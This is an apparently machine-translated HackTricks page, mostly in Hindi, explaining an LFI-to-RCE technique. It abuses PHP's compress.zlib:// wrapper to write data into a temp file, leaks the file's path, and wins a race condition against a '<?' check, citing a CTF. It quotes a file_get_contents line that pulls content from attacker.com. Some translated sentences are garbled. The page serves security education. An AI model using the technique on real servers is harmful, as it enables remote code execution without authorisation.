hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

8 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? SUBSCRIPTION PLANS की जांच करें!

  • खोजें The PEASS Family, हमारा विशेष संग्रह NFTs

  • प्राप्त करें official PEASS & HackTricks swag

  • शामिल हों 💬 Discord समूह या telegram समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.

  • अपने हैकिंग ट्रिक्स को hacktricks repo और hacktricks-cloud repo में PR जमा करके साझा करें।

compress.zlib:// और PHP_STREAM_PREFER_STDIO

फ़ाइल को compress.zlib:// प्रोटोकॉल का उपयोग करके और फ़्लैग PHP_STREAM_PREFER_STDIO के साथ खोलने पर डेटा जो बाद में कनेक्शन पर आता है, उसी फ़ाइल में लिखना जारी रख सकता है।

इसका मतलब है कि एक कॉल जैसा कि:

file_get_contents("compress.zlib://http://attacker.com/file")

एक अनुरोध भेजने के लिए http://attacker.com/file का अनुरोध करेंगे, फिर सर्वर संभाविततः एक मान्य HTTP प्रतिक्रिया के साथ अनुरोध का प्रतिसाद देगा, कनेक्शन खुली रखेगा, और थोड़ी देर बाद अतिरिक्त डेटा भेजेगा जो फ़ाइल में भी लिखा जाएगा।

आप php-src के कोड के इस हिस्से में इस जानकारी को देख सकते हैं main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

रेस कंडीशन से आरसीई तक

इस CTF को पिछले ट्रिक का उपयोग करके हल किया गया था।

हमलावर्ती सर्वर को एक कनेक्शन खोलने के लिए हमलावर्ती सर्वर को एक फ़ाइल पढ़ने के लिए खोलेगा जिसे हमलावर्ती सर्वर द्वारा उपयोग किया जाता है compress.zlib प्रोटोकॉल का उपयोग करके।

जब तक यह कनेक्शन मौजूद है, हमलावर्ती सर्वर द्वारा बनाई गई टेम्प फ़ाइल के लिए पथ को बहार निकालेगा (यह सर्वर द्वारा लीक हो जाता है)।

जब तक कनेक्शन खुला है, हमलावर्ती सर्वर द्वारा नियंत्रित टेम्प फ़ाइल को लोड करने के लिए एक LFI का शोषण करेगा।

हालांकि, वेब सर्वर में एक चेक है जो <? शब्द सम्मिलित करने वाली फ़ाइलों को लोड करने से रोकता है। इसलिए, हमलावर्ती एक रेस कंडीशन का उपयोग करेगा। जो कनेक्शन अभी भी खुला है, उसमें हमलावर्ती वेबसर्वर द्वारा फ़ाइल में वर्जित वर्णकों की जांच करने के बाद लोड करने से पहले एक PHP पेलोड भेजेगा।

अधिक जानकारी के लिए रेस कंडीशन और CTF का विवरण देखें https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥